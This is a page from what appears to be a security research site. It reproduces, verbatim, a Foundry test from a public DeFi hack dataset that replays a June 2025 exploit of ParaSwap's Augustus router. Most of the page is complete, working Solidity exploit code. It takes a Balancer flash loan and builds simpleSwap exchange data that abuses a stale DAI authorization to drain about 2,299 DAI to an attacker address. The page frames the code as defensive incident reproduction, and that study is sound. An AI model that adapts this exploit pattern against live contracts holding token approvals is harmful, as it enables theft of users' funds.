Skip to content
THREATWIRE

Public reproduction file

src/test/2025-06/ParaSwapDAIApproval_exp.sol

Public reproduction file for dataset entry ParaSwapDAIApproval.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-06/ParaSwapDAIApproval_exp.sol200 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 2,298.68 USD
8// Attacker : 0x2d9a39de3e5227ff74b4cfc154b16fd77614ee33
9// Attack Contract : 0x5b24ff16da6b75cc1e18c9361d8deaeae5ea2f0f
10// Alert Victim : 0xb5d85cbf7cb3ee0d56b3bb207d5fc4b82f43f511
11// DAI Source Account : 0x1e0c22a1f39b6c7f36661297437e874ec31fa0b1
12// Attack Tx : https://etherscan.io/tx/0xed5f932a136ef95b943951ce103b3edbe600bf2c2607edff7b6ea9ada35ca300
13//
14// @Info
15// ParaSwap AugustusSwapper : https://etherscan.io/address/0xdef171fe48cf0115b1d80b88dc8eab59176fee57#code
16//
17// @Analysis
18// Telegram Alert : https://t.me/defimon_alerts/1352
19//
20// Attack summary: the attacker flash-borrowed 1000 wei of WETH from Balancer, used it as the
21// fromToken for a ParaSwap simpleSwap, and supplied exchangeData that repaid the WETH while moving
22// DAI from an account that had authorized ParaSwap. ParaSwap then transferred the received DAI to
23// the attacker-designated beneficiary.
24// Root cause: the DAI source account had authorized the ParaSwap Augustus router, and simpleSwap lets
25// the caller provide arbitrary callee/exchangeData sequences. The router's DAI.move calls execute as
26// ParaSwap, so the stale authorization lets an unprivileged caller drain the approved DAI balance.
28address constant ATTACKER = address(uint160(0x002d9a39de3e5227ff74b4cfc154b16fd77614ee33));
29address constant HISTORICAL_ATTACK_CONTRACT = address(uint160(0x005b24ff16da6b75cc1e18c9361d8deaeae5ea2f0f));
30address constant HISTORICAL_FLASH_HELPER = address(uint160(0x00be15c4e75c11bd41f5e65165b9fee0b00ef30ad3));
31address constant ALERT_VICTIM = address(uint160(0x00b5d85cbf7cb3ee0d56b3bb207d5fc4b82f43f511));
32address constant DAI_SOURCE_ACCOUNT = address(uint160(0x001e0c22a1f39b6c7f36661297437e874ec31fa0b1));
33address constant BALANCER_VAULT = address(uint160(0x00ba12222222228d8ba445958a75a0704d566bf2c8));
34address constant PARASWAP_AUGUSTUS = address(uint160(0x00def171fe48cf0115b1d80b88dc8eab59176fee57));
35address constant TOKEN_TRANSFER_PROXY = address(uint160(0x00216b4b4ba9f3e719726886d34a177484278bfcae));
36address constant WETH_TOKEN = address(uint160(0x00c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2));
37address constant DAI_TOKEN = address(uint160(0x006b175474e89094c44da98b954eedeac495271d0f));
39uint256 constant FLASH_WETH_AMOUNT = 1_000;
40uint256 constant DAI_DRAIN_AMOUNT = 2_299_037_211_488_404_869_264;
41uint256 constant FIRST_DAI_MOVE_AMOUNT = DAI_DRAIN_AMOUNT - 1;
42uint256 constant HISTORICAL_DEADLINE = 1_750_817_123;
44interface IBalancerVault1352 {
45 function flashLoan(
46 address recipient,
47 IERC20[] calldata tokens,
48 uint256[] calldata amounts,
49 bytes calldata userData
50 ) external;
53interface IBalancerFlashLoanRecipient1352 {
54 function receiveFlashLoan(
55 IERC20[] calldata tokens,
56 uint256[] calldata amounts,
57 uint256[] calldata feeAmounts,
58 bytes calldata userData
59 ) external;
62interface IDAIMove1352 {
63 function move(address src, address dst, uint256 wad) external;
66interface IParaSwapSimpleSwap1352 {
67 struct SimpleData {
68 address fromToken;
69 address toToken;
70 uint256 fromAmount;
71 uint256 toAmount;
72 uint256 expectedAmount;
73 address[] callees;
74 bytes exchangeData;
75 uint256[] startIndexes;
76 uint256[] values;
77 address payable beneficiary;
78 address payable partner;
79 uint256 feePercent;
80 bytes permit;
81 uint256 deadline;
82 bytes16 uuid;
83 }
85 function simpleSwap(
86 SimpleData calldata data
87 ) external payable returns (uint256 receivedAmount);
90contract ContractTest is BaseTestWithBalanceLog {
91 function setUp() public {
92 vm.createSelectFork("mainnet", 22_778_354);
93 vm.roll(22_778_355);
94 vm.warp(HISTORICAL_DEADLINE);
96 fundingToken = DAI_TOKEN;
97 attacker = ATTACKER;
99 vm.label(ATTACKER, "Attacker");
100 vm.label(HISTORICAL_ATTACK_CONTRACT, "Historical attack contract");
101 vm.label(HISTORICAL_FLASH_HELPER, "Historical flash helper");
102 vm.label(ALERT_VICTIM, "Alert victim");
103 vm.label(DAI_SOURCE_ACCOUNT, "DAI source account");
104 vm.label(BALANCER_VAULT, "Balancer vault");
105 vm.label(PARASWAP_AUGUSTUS, "ParaSwap Augustus");
106 vm.label(TOKEN_TRANSFER_PROXY, "ParaSwap token transfer proxy");
107 vm.label(WETH_TOKEN, "WETH");
108 vm.label(DAI_TOKEN, "DAI");
109 }
111 function testExploit() public balanceLog {
112 uint256 attackerDaiBefore = IERC20(DAI_TOKEN).balanceOf(ATTACKER);
113 uint256 sourceDaiBefore = IERC20(DAI_TOKEN).balanceOf(DAI_SOURCE_ACCOUNT);
114 uint256 balancerWethBefore = IERC20(WETH_TOKEN).balanceOf(BALANCER_VAULT);
116 assertGe(sourceDaiBefore, DAI_DRAIN_AMOUNT);
118 ParaSwapDAIApprovalAttack attack = new ParaSwapDAIApprovalAttack(ATTACKER);
119 attack.execute();
121 assertEq(IERC20(WETH_TOKEN).balanceOf(BALANCER_VAULT), balancerWethBefore);
122 assertEq(sourceDaiBefore - IERC20(DAI_TOKEN).balanceOf(DAI_SOURCE_ACCOUNT), DAI_DRAIN_AMOUNT);
123 assertEq(IERC20(DAI_TOKEN).balanceOf(ATTACKER) - attackerDaiBefore, DAI_DRAIN_AMOUNT);
124 }
127contract ParaSwapDAIApprovalAttack is IBalancerFlashLoanRecipient1352 {
128 address private immutable profitReceiver;
130 constructor(
131 address receiver
132 ) {
133 profitReceiver = receiver;
134 }
136 function execute() external {
137 IERC20[] memory tokens = new IERC20[](1);
138 tokens[0] = IERC20(WETH_TOKEN);
140 uint256[] memory amounts = new uint256[](1);
141 amounts[0] = FLASH_WETH_AMOUNT;
143 IBalancerVault1352(BALANCER_VAULT).flashLoan(address(this), tokens, amounts, new bytes(0));
144 }
146 function receiveFlashLoan(
147 IERC20[] calldata,
148 uint256[] calldata amounts,
149 uint256[] calldata feeAmounts,
150 bytes calldata
151 ) external override {
152 require(msg.sender == BALANCER_VAULT, "unexpected lender");
153 require(amounts[0] == FLASH_WETH_AMOUNT && feeAmounts[0] == 0, "unexpected flash loan");
155 IERC20(WETH_TOKEN).approve(TOKEN_TRANSFER_PROXY, FLASH_WETH_AMOUNT);
157 IParaSwapSimpleSwap1352.SimpleData memory data = _buildSwapData();
158 uint256 received = IParaSwapSimpleSwap1352(PARASWAP_AUGUSTUS).simpleSwap(data);
159 require(received == DAI_DRAIN_AMOUNT, "unexpected received amount");
160 }
162 function _buildSwapData() private view returns (IParaSwapSimpleSwap1352.SimpleData memory data) {
163 address[] memory callees = new address[](3);
164 callees[0] = WETH_TOKEN;
165 callees[1] = DAI_TOKEN;
166 callees[2] = DAI_TOKEN;
168 bytes memory exchangeData = bytes.concat(
169 abi.encodeWithSelector(IERC20.transfer.selector, BALANCER_VAULT, FLASH_WETH_AMOUNT),
170 abi.encodeWithSelector(IDAIMove1352.move.selector, DAI_SOURCE_ACCOUNT, PARASWAP_AUGUSTUS, FIRST_DAI_MOVE_AMOUNT),
171 abi.encodeWithSelector(IDAIMove1352.move.selector, DAI_SOURCE_ACCOUNT, PARASWAP_AUGUSTUS, uint256(1))
172 );
174 uint256[] memory startIndexes = new uint256[](4);
175 startIndexes[0] = 0;
176 startIndexes[1] = 68;
177 startIndexes[2] = 168;
178 startIndexes[3] = 268;
180 uint256[] memory values = new uint256[](3);
182 data = IParaSwapSimpleSwap1352.SimpleData({
183 fromToken: WETH_TOKEN,
184 toToken: DAI_TOKEN,
185 fromAmount: FLASH_WETH_AMOUNT,
186 toAmount: 1,
187 expectedAmount: DAI_DRAIN_AMOUNT,
188 callees: callees,
189 exchangeData: exchangeData,
190 startIndexes: startIndexes,
191 values: values,
192 beneficiary: payable(profitReceiver),
193 partner: payable(profitReceiver),
194 feePercent: 0,
195 permit: new bytes(0),
196 deadline: HISTORICAL_DEADLINE,
197 uuid: bytes16(0)
198 });
199 }

Analysis

Dataset entry

Public Foundry test for “ParaSwapDAIApproval” (2025-06-25). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x2d9a39de3e5227ff74b4cfc154b16fd77614ee33

  • Attack Contract

    0x5b24ff16da6b75cc1e18c9361d8deaeae5ea2f0f

  • Attack Tx

    0xed5f932a136ef95b943951ce103b3edbe600bf2c2607edff7b6ea9ada35ca300

File record

Name
ParaSwapDAIApproval
Path
src/test/2025-06/ParaSwapDAIApproval_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
d8bb0bbf790bab53154baf8bde37fbe3851373ab
Language
Solidity
Size
201 lines
Date
2025-06-25
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-06/ParaSwapDAIApproval_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d8bb0bbf790bab53154baf8bde37fbe3851373ab, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.